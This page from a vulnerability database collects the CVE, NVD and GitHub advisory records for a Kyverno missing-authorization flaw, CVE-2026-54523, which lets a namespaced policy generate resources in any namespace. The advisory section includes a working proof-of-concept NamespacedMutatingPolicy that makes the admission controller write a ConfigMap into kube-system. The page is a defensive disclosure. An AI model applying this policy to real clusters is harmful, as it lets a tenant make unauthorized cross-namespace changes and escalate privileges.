Vulnerability-Lookup

CVE-2026-54523 (GCVE-0-2026-54523)

Vulnerability from cvelistv5 – Published: 2026-08-26 14:20 – Updated: 2026-08-26 15:06

Title

Kyverno: NamespacedGeneratingPolicy generator.apply() namespace argument unvalidated -- background controller creates RoleBindings in any namespace including kube-system

Summary

Kyverno is a policy engine designed for cloud native platform engineering teams. From 1.18.0 until 1.18.2, the NamespacedMutatingPolicy CEL compiler exposes the generator library to matchConditions, allowing a namespace-scoped policy to invoke generator.apply(namespace, resources) with an arbitrary target namespace. The validation in pkg/cel/policies/mpol/validate.go checks that the policy compiles but does not enforce namespace scope, and GenerateResources in pkg/cel/libs/context.go does not reject the cross-namespace target. A user who can create NamespacedMutatingPolicy objects in one namespace can cause the admission controller, operating with cluster-wide privileges, to create ConfigMaps, NetworkPolicies, Secrets, RoleBindings, and other resources in another namespace, enabling unauthorized modification and potential privilege escalation. This issue is fixed in version 1.18.2.

Severity

9.6 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-26 15:06 UTC

CWE

CWE-862 - Missing Authorization

Assigner

GitHub_M mitre root

References

6 references

URL	Tags
https://github.com/kyverno/kyverno/security/advis…	x_refsource_CONFIRM
https://github.com/kyverno/kyverno/pull/16238	x_refsource_MISC
https://github.com/kyverno/kyverno/commit/0919553…	x_refsource_MISC
https://github.com/kyverno/kyverno/commit/5164bcd…	x_refsource_MISC
https://github.com/kyverno/sdk/commit/65739374414…	x_refsource_MISC
https://github.com/kyverno/kyverno/releases/tag/v1.18.2	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
kyverno	kyverno	Affected: >= 1.18.0, < 1.18.2	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-54523",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-26T15:06:17.140283Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-26T15:06:37.284Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-79gf-7frw-68m9"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "kyverno",
          "vendor": "kyverno",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 1.18.0, \u003c 1.18.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Kyverno is a policy engine designed for cloud native platform engineering teams. From 1.18.0 until 1.18.2, the NamespacedMutatingPolicy CEL compiler exposes the generator library to matchConditions, allowing a namespace-scoped policy to invoke generator.apply(namespace, resources) with an arbitrary target namespace. The validation in pkg/cel/policies/mpol/validate.go checks that the policy compiles but does not enforce namespace scope, and GenerateResources in pkg/cel/libs/context.go does not reject the cross-namespace target. A user who can create NamespacedMutatingPolicy objects in one namespace can cause the admission controller, operating with cluster-wide privileges, to create ConfigMaps, NetworkPolicies, Secrets, RoleBindings, and other resources in another namespace, enabling unauthorized modification and potential privilege escalation. This issue is fixed in version 1.18.2."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 9.6,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "CWE-862: Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-26T14:20:55.122Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/kyverno/kyverno/security/advisories/GHSA-79gf-7frw-68m9",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-79gf-7frw-68m9"
        },
        {
          "name": "https://github.com/kyverno/kyverno/pull/16238",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/kyverno/kyverno/pull/16238"
        },
        {
          "name": "https://github.com/kyverno/kyverno/commit/0919553c0ea1904f8d891280c92018da97946a06",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/kyverno/kyverno/commit/0919553c0ea1904f8d891280c92018da97946a06"
        },
        {
          "name": "https://github.com/kyverno/kyverno/commit/5164bcdeda5b57678bc2d7a03ecc2cbb02982dae",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/kyverno/kyverno/commit/5164bcdeda5b57678bc2d7a03ecc2cbb02982dae"
        },
        {
          "name": "https://github.com/kyverno/sdk/commit/6573937441443e1ba5af9fbb28d5c0f20297f9df",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/kyverno/sdk/commit/6573937441443e1ba5af9fbb28d5c0f20297f9df"
        },
        {
          "name": "https://github.com/kyverno/kyverno/releases/tag/v1.18.2",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/kyverno/kyverno/releases/tag/v1.18.2"
        }
      ],
      "source": {
        "advisory": "GHSA-79gf-7frw-68m9",
        "discovery": "UNKNOWN"
      },
      "title": "Kyverno: NamespacedGeneratingPolicy generator.apply() namespace argument unvalidated -- background controller creates RoleBindings in any namespace including kube-system"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-54523",
    "datePublished": "2026-08-26T14:20:37.236Z",
    "dateReserved": "2026-06-15T18:40:01.651Z",
    "dateUpdated": "2026-08-26T15:06:37.284Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-54523\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-08-26T15:16:48.910\",\"lastModified\":\"2026-08-26T16:16:27.277\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Kyverno is a policy engine designed for cloud native platform engineering teams. From 1.18.0 until 1.18.2, the NamespacedMutatingPolicy CEL compiler exposes the generator library to matchConditions, allowing a namespace-scoped policy to invoke generator.apply(namespace, resources) with an arbitrary target namespace. The validation in pkg/cel/policies/mpol/validate.go checks that the policy compiles but does not enforce namespace scope, and GenerateResources in pkg/cel/libs/context.go does not reject the cross-namespace target. A user who can create NamespacedMutatingPolicy objects in one namespace can cause the admission controller, operating with cluster-wide privileges, to create ConfigMaps, NetworkPolicies, Secrets, RoleBindings, and other resources in another namespace, enabling unauthorized modification and potential privilege escalation. This issue is fixed in version 1.18.2.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"kyverno\",\"product\":\"kyverno\",\"versions\":[{\"version\":\"\u003e= 1.18.0, \u003c 1.18.2\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N\",\"baseScore\":9.6,\"baseSeverity\":\"CRITICAL\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":3.1,\"impactScore\":5.8}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-08-26T15:06:17.140283Z\",\"id\":\"CVE-2026-54523\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"total\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-862\"}]}],\"references\":[{\"url\":\"https://github.com/kyverno/kyverno/commit/0919553c0ea1904f8d891280c92018da97946a06\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/kyverno/kyverno/commit/5164bcdeda5b57678bc2d7a03ecc2cbb02982dae\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/kyverno/kyverno/pull/16238\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/kyverno/kyverno/releases/tag/v1.18.2\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/kyverno/kyverno/security/advisories/GHSA-79gf-7frw-68m9\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/kyverno/sdk/commit/6573937441443e1ba5af9fbb28d5c0f20297f9df\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/kyverno/kyverno/security/advisories/GHSA-79gf-7frw-68m9\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-54523\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-08-26T15:06:17.140283Z\"}}}], \"references\": [{\"url\": \"https://github.com/kyverno/kyverno/security/advisories/GHSA-79gf-7frw-68m9\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-08-26T15:06:09.636Z\"}}], \"cna\": {\"title\": \"Kyverno: NamespacedGeneratingPolicy generator.apply() namespace argument unvalidated -- background controller creates RoleBindings in any namespace including kube-system\", \"source\": {\"advisory\": \"GHSA-79gf-7frw-68m9\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"CHANGED\", \"version\": \"3.1\", \"baseScore\": 9.6, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"CRITICAL\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"LOW\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"kyverno\", \"product\": \"kyverno\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003e= 1.18.0, \u003c 1.18.2\"}]}], \"references\": [{\"url\": \"https://github.com/kyverno/kyverno/security/advisories/GHSA-79gf-7frw-68m9\", \"name\": \"https://github.com/kyverno/kyverno/security/advisories/GHSA-79gf-7frw-68m9\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/kyverno/kyverno/pull/16238\", \"name\": \"https://github.com/kyverno/kyverno/pull/16238\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/kyverno/kyverno/commit/0919553c0ea1904f8d891280c92018da97946a06\", \"name\": \"https://github.com/kyverno/kyverno/commit/0919553c0ea1904f8d891280c92018da97946a06\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/kyverno/kyverno/commit/5164bcdeda5b57678bc2d7a03ecc2cbb02982dae\", \"name\": \"https://github.com/kyverno/kyverno/commit/5164bcdeda5b57678bc2d7a03ecc2cbb02982dae\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/kyverno/sdk/commit/6573937441443e1ba5af9fbb28d5c0f20297f9df\", \"name\": \"https://github.com/kyverno/sdk/commit/6573937441443e1ba5af9fbb28d5c0f20297f9df\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/kyverno/kyverno/releases/tag/v1.18.2\", \"name\": \"https://github.com/kyverno/kyverno/releases/tag/v1.18.2\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"Kyverno is a policy engine designed for cloud native platform engineering teams. From 1.18.0 until 1.18.2, the NamespacedMutatingPolicy CEL compiler exposes the generator library to matchConditions, allowing a namespace-scoped policy to invoke generator.apply(namespace, resources) with an arbitrary target namespace. The validation in pkg/cel/policies/mpol/validate.go checks that the policy compiles but does not enforce namespace scope, and GenerateResources in pkg/cel/libs/context.go does not reject the cross-namespace target. A user who can create NamespacedMutatingPolicy objects in one namespace can cause the admission controller, operating with cluster-wide privileges, to create ConfigMaps, NetworkPolicies, Secrets, RoleBindings, and other resources in another namespace, enabling unauthorized modification and potential privilege escalation. This issue is fixed in version 1.18.2.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-862\", \"description\": \"CWE-862: Missing Authorization\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-08-26T14:20:55.122Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-54523\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-08-26T15:06:37.284Z\", \"dateReserved\": \"2026-06-15T18:40:01.651Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-08-26T14:20:37.236Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-54523

Vulnerability from fkie_nvd - Published: 2026-08-26 15:16 - Updated: 2026-08-26 16:16

Severity

9.6 (Critical) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/kyverno/kyverno/commit/0919553c0ea1904f8d891280c92018da97946a06
	security-advisories@github.com	https://github.com/kyverno/kyverno/commit/5164bcdeda5b57678bc2d7a03ecc2cbb02982dae
	security-advisories@github.com	https://github.com/kyverno/kyverno/pull/16238
	security-advisories@github.com	https://github.com/kyverno/kyverno/releases/tag/v1.18.2
	security-advisories@github.com	https://github.com/kyverno/kyverno/security/advisories/GHSA-79gf-7frw-68m9
	security-advisories@github.com	https://github.com/kyverno/sdk/commit/6573937441443e1ba5af9fbb28d5c0f20297f9df
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/kyverno/kyverno/security/advisories/GHSA-79gf-7frw-68m9

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "kyverno",
          "vendor": "kyverno",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 1.18.0, \u003c 1.18.2"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Kyverno is a policy engine designed for cloud native platform engineering teams. From 1.18.0 until 1.18.2, the NamespacedMutatingPolicy CEL compiler exposes the generator library to matchConditions, allowing a namespace-scoped policy to invoke generator.apply(namespace, resources) with an arbitrary target namespace. The validation in pkg/cel/policies/mpol/validate.go checks that the policy compiles but does not enforce namespace scope, and GenerateResources in pkg/cel/libs/context.go does not reject the cross-namespace target. A user who can create NamespacedMutatingPolicy objects in one namespace can cause the admission controller, operating with cluster-wide privileges, to create ConfigMaps, NetworkPolicies, Secrets, RoleBindings, and other resources in another namespace, enabling unauthorized modification and potential privilege escalation. This issue is fixed in version 1.18.2."
    }
  ],
  "id": "CVE-2026-54523",
  "lastModified": "2026-08-26T16:16:27.277",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 9.6,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.1,
        "impactScore": 5.8,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-54523",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-26T15:06:17.140283Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-26T15:16:48.910",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/kyverno/kyverno/commit/0919553c0ea1904f8d891280c92018da97946a06"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/kyverno/kyverno/commit/5164bcdeda5b57678bc2d7a03ecc2cbb02982dae"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/kyverno/kyverno/pull/16238"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/kyverno/kyverno/releases/tag/v1.18.2"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-79gf-7frw-68m9"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/kyverno/sdk/commit/6573937441443e1ba5af9fbb28d5c0f20297f9df"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-79gf-7frw-68m9"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-862"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-79GF-7FRW-68M9

Vulnerability from github – Published: 2026-08-26 14:21 – Updated: 2026-08-26 14:21

Summary

Kyverno's NamespacedGeneratingPolicy generator.apply() namespace argument unvalidated -- background controller creates RoleBindings in any namespace including kube-system

Details

Summary

In Kyverno v1.18.1, a tenant who can create a NamespacedMutatingPolicy in their own namespace can instruct the admission controller to generate resources in any namespace by passing an arbitrary namespace string to the CEL generator.apply(namespace, resources) function.

Details

pkg/cel/libs/context.go:177 declares GenerateResources(namespace string, dataList []map[string]any). The namespace argument arrives unvalidated from the CEL expression generator.apply("<target-namespace>", [...]).

Version-Specific Impact

v1.18.0, v1.18.1 (affected via NamespacedMutatingPolicy only):

The nmpol CEL compiler unintentionally exposes the generator library to match condition expressions. A namespaced mutating policy can invoke generator.apply() in a boolean CEL expression such as matchConditions, triggering the admission controller to generate resources in any namespace at request time. This side effect executes with the admission controller's cluster-wide privileges.

NamespacedGeneratingPolicy is not a vector in v1.18.1 due to incomplete webhook and background processing wiring (not registered or functional).

Root Cause

The admission validator for NamespacedMutatingPolicy (pkg/cel/policies/mpol/validate.go) only checks that the policy compiles and does not enforce namespace scope on generator.apply() arguments.

Compare correctly-guarded equivalents: pkg/engine/context/loaders/configmap.go:102 rejects cross-namespace ConfigMap references for namespaced policies, and pkg/engine/apicall/apicall.go:73-82 enforces namespace segment matching. GenerateResources has neither guard.

Proof of Concept

Prerequisites: namespace tenant-ns exists; attacker has create on namespacedmutatingpolicies.policies.kyverno.io in tenant-ns.

apiVersion: policies.kyverno.io/v1beta1
kind: NamespacedMutatingPolicy
metadata:
  name: cross-ns-escalate
  namespace: tenant-ns
spec:
  matchConstraints:
    resourceRules:
    - apiGroups: [""]
      apiVersions: ["v1"]
      resources: ["configmaps"]
      operations: ["CREATE"]
  mutations:
  - patchType: applyConfiguration
    applyConfiguration:
      expression: object
  matchConditions:
  - name: trigger-escalation
    expression: |
      generator.apply("kube-system", [
        {
          "apiVersion": dyn("v1"),
          "kind": dyn("ConfigMap"),
          "metadata": dyn({
            "name": "kube-system-config",
            "namespace": "kube-system"
          }),
          "data": dyn({
            "injected-by": "tenant-policy",
            "impact": "unauthorized access to kube-system namespace"
          })
        }
      ])

Apply the policy, then create any ConfigMap in tenant-ns to trigger the admission webhook. The admission controller creates configmap/kube-system-config in kube-system. By default, the admission controller has create on ConfigMaps in all namespaces.

Impact

A namespace-scoped user with create on NamespacedMutatingPolicy in >=v1.18.1 can create ConfigMaps, NetworkPolicies, Secrets, and other resources in any namespace using the admission controller's cluster-wide RBAC. This allows:

Injecting sensitive configuration into protected namespaces (e.g., kube-system, default) Disrupting cluster networking via NetworkPolicies Privilege escalation via RoleBinding creation (for roles the admission controller holds or lesser-privileged roles) Privilege escalation via RoleBinding creation in other namespaces Any installation that grants non-admin users access to NamespacedMutatingPolicy creation is affected.

Timeline

2026-05-20: Vulnerability reproduced on main
2026-07-13: CVE-2026-54523 / GHSA-79gf-7frw-68m9 published
2026-07-22: Advisory clarified to document actual v1.18.1 attack vector (NamespacedMutatingPolicy in matchConditions, not NamespacedGeneratingPolicy)

Advisory Update

This advisory was updated to clarify the v1.18.1 attack surface. The nmpol vector in matchConditions was the reachable attack path in v1.18.1, while ngpol lacked end-to-end plumbing. The CVE, patched version, and CVSS score remain unchanged. Original report by @0xVijay.

Severity

9.6 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.18.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kyverno/kyverno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.18.0"
            },
            {
              "fixed": "1.18.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54523"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-26T14:21:54Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nIn Kyverno v1.18.1, a tenant who can create a `NamespacedMutatingPolicy` in their own namespace can instruct the admission controller to generate resources in any namespace by passing an arbitrary namespace string to the CEL `generator.apply(namespace, resources)` function.\n\n## Details\n\n`pkg/cel/libs/context.go:177` declares `GenerateResources(namespace string, dataList []map[string]any)`. The `namespace` argument arrives unvalidated from the CEL expression `generator.apply(\"\u003ctarget-namespace\u003e\", [...])`.\n\n### Version-Specific Impact\n\n**v1.18.0, v1.18.1 (affected via NamespacedMutatingPolicy only):**\n\nThe nmpol CEL compiler unintentionally exposes the `generator` library to match condition expressions. A namespaced mutating policy can invoke `generator.apply()` in a boolean CEL expression such as `matchConditions`, triggering the admission controller to generate resources in any namespace at request time. This side effect executes with the admission controller\u0027s cluster-wide privileges.\n\nNamespacedGeneratingPolicy is **not** a vector in v1.18.1 due to incomplete webhook and background processing wiring (not registered or functional).\n\n### Root Cause\n\nThe admission validator for `NamespacedMutatingPolicy` (`pkg/cel/policies/mpol/validate.go`) only checks that the policy compiles and does not enforce namespace scope on `generator.apply()` arguments.\n\nCompare correctly-guarded equivalents: `pkg/engine/context/loaders/configmap.go:102` rejects cross-namespace ConfigMap references for namespaced policies, and `pkg/engine/apicall/apicall.go:73-82` enforces namespace segment matching. `GenerateResources` has neither guard.\n\n## Proof of Concept\n\nPrerequisites: namespace `tenant-ns` exists; attacker has `create` on `namespacedmutatingpolicies.policies.kyverno.io` in `tenant-ns`.\n\n```yaml\napiVersion: policies.kyverno.io/v1beta1\nkind: NamespacedMutatingPolicy\nmetadata:\n  name: cross-ns-escalate\n  namespace: tenant-ns\nspec:\n  matchConstraints:\n    resourceRules:\n    - apiGroups: [\"\"]\n      apiVersions: [\"v1\"]\n      resources: [\"configmaps\"]\n      operations: [\"CREATE\"]\n  mutations:\n  - patchType: applyConfiguration\n    applyConfiguration:\n      expression: object\n  matchConditions:\n  - name: trigger-escalation\n    expression: |\n      generator.apply(\"kube-system\", [\n        {\n          \"apiVersion\": dyn(\"v1\"),\n          \"kind\": dyn(\"ConfigMap\"),\n          \"metadata\": dyn({\n            \"name\": \"kube-system-config\",\n            \"namespace\": \"kube-system\"\n          }),\n          \"data\": dyn({\n            \"injected-by\": \"tenant-policy\",\n            \"impact\": \"unauthorized access to kube-system namespace\"\n          })\n        }\n      ])\n```\n\nApply the policy, then create any ConfigMap in `tenant-ns` to trigger the admission webhook. The admission controller creates `configmap/kube-system-config` in `kube-system`. By default, the admission controller has `create` on ConfigMaps in all namespaces.\n\n## Impact\n\nA namespace-scoped user with `create` on `NamespacedMutatingPolicy` in \u003e=v1.18.1 can create ConfigMaps, NetworkPolicies, Secrets, and other resources in any namespace using the admission controller\u0027s cluster-wide RBAC. This allows:\n\nInjecting sensitive configuration into protected namespaces (e.g., `kube-system`, `default`)\nDisrupting cluster networking via NetworkPolicies\nPrivilege escalation via RoleBinding creation (for roles the admission controller holds or lesser-privileged roles)\nPrivilege escalation via RoleBinding creation in other namespaces\nAny installation that grants non-admin users access to `NamespacedMutatingPolicy` creation is affected.\n\n## Timeline\n\n* 2026-05-20: Vulnerability reproduced on main\n* 2026-07-13: CVE-2026-54523 / GHSA-79gf-7frw-68m9 published\n* 2026-07-22: Advisory clarified to document actual v1.18.1 attack vector (NamespacedMutatingPolicy in matchConditions, not NamespacedGeneratingPolicy)\n\n## Advisory Update\n\nThis advisory was updated to clarify the v1.18.1 attack surface. The nmpol vector in matchConditions was the reachable attack path in v1.18.1, while ngpol lacked end-to-end plumbing. The CVE, patched version, and CVSS score remain unchanged. Original report by @0xVijay.",
  "id": "GHSA-79gf-7frw-68m9",
  "modified": "2026-08-26T14:21:54Z",
  "published": "2026-08-26T14:21:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-79gf-7frw-68m9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/pull/16238"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/commit/0919553c0ea1904f8d891280c92018da97946a06"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/commit/5164bcdeda5b57678bc2d7a03ecc2cbb02982dae"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/sdk/commit/6573937441443e1ba5af9fbb28d5c0f20297f9df"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kyverno/kyverno"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/releases/tag/v1.18.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kyverno\u0027s NamespacedGeneratingPolicy generator.apply() namespace argument unvalidated -- background controller creates RoleBindings in any namespace including kube-system"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

CVE-2026-54523 (GCVE-0-2026-54523)

FKIE_CVE-2026-54523

GHSA-79GF-7FRW-68M9

Summary

Details

Version-Specific Impact

Root Cause

Proof of Concept

Impact

Timeline

Advisory Update

Tags

Sightings

Nomenclature